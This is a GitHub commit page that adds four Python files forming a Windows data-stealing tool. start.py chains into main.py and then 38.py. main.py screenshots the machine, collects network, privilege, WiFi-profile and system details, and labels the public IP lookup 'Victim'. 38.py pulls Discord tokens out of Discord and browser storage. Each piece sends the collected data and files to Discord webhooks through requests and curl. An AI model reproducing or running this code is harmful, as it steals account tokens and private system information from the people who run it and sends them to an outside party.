Skip to content

Commit b9d4ba0

Browse files
authored
Add files via upload
1 parent 4b6146b commit b9d4ba0

File tree

4 files changed

+376
-0
lines changed

4 files changed

+376
-0
lines changed

38.py

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
import os
2+
import re
3+
import json
4+
5+
from urllib.request import Request, urlopen
6+
7+
WEBHOOK_URL = 'WEBHOOK HERE' # PUT WEBHOOK HERE
8+
9+
PING_ME = False
10+
11+
def find_tokens(path):
12+
path += '\\Local Storage\\leveldb'
13+
14+
tokens = []
15+
16+
for file_name in os.listdir(path):
17+
if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
18+
continue
19+
20+
for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
21+
for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
22+
for token in re.findall(regex, line):
23+
tokens.append(token)
24+
return tokens
25+
26+
def main():
27+
local = os.getenv('LOCALAPPDATA')
28+
roaming = os.getenv('APPDATA')
29+
30+
paths = {
31+
'Discord': roaming + '\\Discord',
32+
'Discord Canary': roaming + '\\discordcanary',
33+
'Discord PTB': roaming + '\\discordptb',
34+
'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
35+
'Opera': roaming + '\\Opera Software\\Opera Stable',
36+
'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
37+
'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'
38+
}
39+
40+
message = '@everyone' if PING_ME else ''
41+
42+
for platform, path in paths.items():
43+
if not os.path.exists(path):
44+
continue
45+
46+
message += f'\n**{platform}**\n```\n'
47+
48+
tokens = find_tokens(path)
49+
50+
if len(tokens) > 0:
51+
for token in tokens:
52+
message += f'{token}\n'
53+
else:
54+
message += 'No tokens found.\n'
55+
56+
message += '```'
57+
58+
headers = {
59+
'Content-Type': 'application/json',
60+
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'
61+
}
62+
63+
payload = json.dumps({'content': message})
64+
65+
try:
66+
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
67+
urlopen(req)
68+
except:
69+
pass
70+
71+
if __name__ == '__main__':
72+
main()
73+
74+
os.system("py addr.py > Files\RegistryInfo.txt")
75+
76+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\image.jpg -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
77+
78+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\ExtraSystemInfo.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
79+
80+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\ipconfig.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
81+
82+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\systemperms.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
83+
84+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\WiFi-List.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
85+
86+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\ActiveConnections.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE
87+
88+
os.system('''curl -i -H 'Expect: application/json' -F file=@Files\driverquery.txt -F 'payload_json={ "wait": true, "content": "", "username": "" }' https://discord.com/api/webhooks/WEBHOOK''') # PUT WEBHOOK HERE''')
89+
90+
exit()

addr.py

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
import winreg
2+
import os
3+
4+
print("Scanning Registry...")
5+
print("Scanning Registry...")
6+
print("Done.")
7+
8+
# CurrentVersion
9+
10+
print('''
11+
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion
12+
---------------------------------------------------------------''')
13+
14+
def reg():
15+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
16+
17+
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion")
18+
19+
for n in range(20):
20+
try:
21+
x = winreg.EnumValue(regkey, n)
22+
print(x)
23+
except:
24+
break
25+
reg()
26+
27+
print('''
28+
29+
''')
30+
31+
32+
# Environment
33+
34+
print('''
35+
Information from \Environment
36+
---------------------------------------------------------------''')
37+
38+
def reg1():
39+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_CURRENT_USER)
40+
41+
regkey = winreg.OpenKey(access_reg, r"Environment")
42+
43+
for n in range(20):
44+
try:
45+
x = winreg.EnumValue(regkey, n)
46+
print(x)
47+
except:
48+
break
49+
reg1()
50+
51+
52+
print('''
53+
54+
''')
55+
56+
57+
# HKEY_CURRENT_USER\Volatile
58+
59+
print('''
60+
Information from HKEY_CURRENT_USER\Volatile Environment
61+
---------------------------------------------------------------''')
62+
63+
def reg2():
64+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_CURRENT_USER)
65+
66+
regkey = winreg.OpenKey(access_reg, r"Volatile Environment")
67+
68+
for n in range(20):
69+
try:
70+
x = winreg.EnumValue(regkey, n)
71+
print(x)
72+
except:
73+
break
74+
reg2()
75+
76+
77+
print('''
78+
79+
''')
80+
81+
82+
# SOFTWARE\Microsoft\Windows NT\CurrentVersion\networkcards\3
83+
84+
print('''
85+
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion\networkcards\3
86+
------------------------------------------------------------------------------''')
87+
88+
def reg3():
89+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
90+
91+
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\networkcards\3")
92+
93+
for n in range(20):
94+
try:
95+
x = winreg.EnumValue(regkey, n)
96+
print(x)
97+
except:
98+
break
99+
reg3()
100+
101+
102+
print('''
103+
104+
''')
105+
106+
107+
# HARDWARE\DESCRIPTION\SYSTEM
108+
109+
print('''
110+
Information from HARDWARE\DESCRIPTION\SYSTEM
111+
---------------------------------------------------------------''')
112+
113+
def reg4():
114+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
115+
116+
regkey = winreg.OpenKey(access_reg, r"HARDWARE\DESCRIPTION\SYSTEM")
117+
118+
for n in range(20):
119+
try:
120+
x = winreg.EnumValue(regkey, n)
121+
print(x)
122+
except:
123+
break
124+
reg4()
125+
126+
127+
print('''
128+
129+
''')
130+
131+
132+
# SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
133+
134+
135+
print('''
136+
Information from SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform
137+
---------------------------------------------------------------''')
138+
139+
def reg5():
140+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
141+
142+
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform")
143+
144+
for n in range(20):
145+
try:
146+
x = winreg.EnumValue(regkey, n)
147+
print(x)
148+
except:
149+
break
150+
reg5()
151+
152+
print('''
153+
154+
''')
155+
156+
# \SOFTWARE\Microsoft\Windows Defender
157+
158+
print('''
159+
Information from \SOFTWARE\Microsoft\Windows Defender
160+
---------------------------------------------------------------''')
161+
162+
def reg6():
163+
access_reg = winreg.ConnectRegistry(None,winreg.HKEY_LOCAL_MACHINE)
164+
165+
regkey = winreg.OpenKey(access_reg, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform")
166+
167+
for n in range(20):
168+
try:
169+
x = winreg.EnumValue(regkey, n)
170+
print(x)
171+
except:
172+
break
173+
reg6()
174+
175+
176+
177+
os.system("py registry.py > Files\RegistryInfo.txt")

main.py

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
import os
2+
import shutil
3+
import requests
4+
import socket
5+
import winreg
6+
import pyautogui
7+
import platform
8+
import psutil
9+
from datetime import datetime
10+
from getmac import get_mac_address
11+
12+
13+
infofile1 = "ipconfig.txt"
14+
infofile2 = "sysinfo.txt"
15+
16+
dirsys1 = "Files\ipconfig.txt"
17+
dirsys2 = "Files\sysinfo.txt"
18+
19+
os.system("ipconfig > ipconfig.txt")
20+
shutil.move(infofile1, dirsys1)
21+
22+
23+
def priv():
24+
f = open("priv.cmd", "w")
25+
f.write('''echo off
26+
27+
whoami /priv > Files\systemperms.txt
28+
exit
29+
''')
30+
31+
os.system("start priv.cmd")
32+
33+
priv()
34+
35+
ss = pyautogui.screenshot()
36+
37+
ss.save("Files\image.jpg")
38+
39+
machine1 = platform.machine()
40+
version1 = platform.version()
41+
platform1 = platform.platform()
42+
uname1 = platform.uname()
43+
system1 = platform.system()
44+
process1 = platform.processor()
45+
computername = socket.gethostname()
46+
localipaddress = socket.gethostbyname(computername)
47+
boottime = datetime.fromtimestamp(psutil.boot_time())
48+
49+
url = "WEBHOOK HERE" # PUT WEBHOOK HERE
50+
51+
def ipaddrr():
52+
53+
payloads = {
54+
"content": f"```System Info:\n---------------- \nMachine: {machine1}\nVersion: {version1}\nPlatform: {platform1}\nUname: {uname1}\nSystem: {system1}\nProccessor: {process1}\nPC Name: {computername}\nLocal IP: {localipaddress}\nLast Boot Time: {boottime}```",
55+
"username": "",
56+
"avatar_url": "",
57+
}
58+
requests.post(url, data=payloads)
59+
60+
ipaddrr()
61+
62+
def ipaddr():
63+
64+
ipaddr = requests.get("https://vpnapi.io/api/").text
65+
66+
payloads = {
67+
"content": f"``` Victim: \n{ipaddr}```",
68+
"username": "",
69+
"avatar_url": "",
70+
}
71+
requests.post(url, data=payloads)
72+
73+
ipaddr()
74+
75+
file1 = "WiFi-List.txt"
76+
fields1 = "Files\WiFi-List.txt"
77+
78+
os.system("netstat -n > Files\ActiveConnections.txt")
79+
80+
os.system("Netsh WLAN show profiles > WiFi-List.txt")
81+
82+
os.remove("priv.cmd")
83+
84+
os.system("DRIVERQUERY > Files\driverquery.txt")
85+
86+
shutil.move(file1, fields1)
87+
88+
sys_file = "ExtraSystemInfo.txt"
89+
sys_dir = "Files\ExtraSystemInfo.txt"
90+
91+
os.system("systeminfo > ExtraSystemInfo.txt")
92+
93+
shutil.move(sys_file, sys_dir)
94+
95+
exec(open("38.py").read())

start.py

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import os
2+
3+
os.system("pip3 install re")
4+
os.system("pip3 install shutil")
5+
os.system("pip3 install requests")
6+
os.system("pip3 install socket")
7+
os.system("pip3 install winreg")
8+
os.system("pip3 install pyautogui")
9+
os.system("pip3 install platform")
10+
os.system("pip3 install psutil")
11+
os.system("pip3 install getmac")
12+
13+
14+
exec(open("main.py").read())

0 commit comments

Comments
 (0)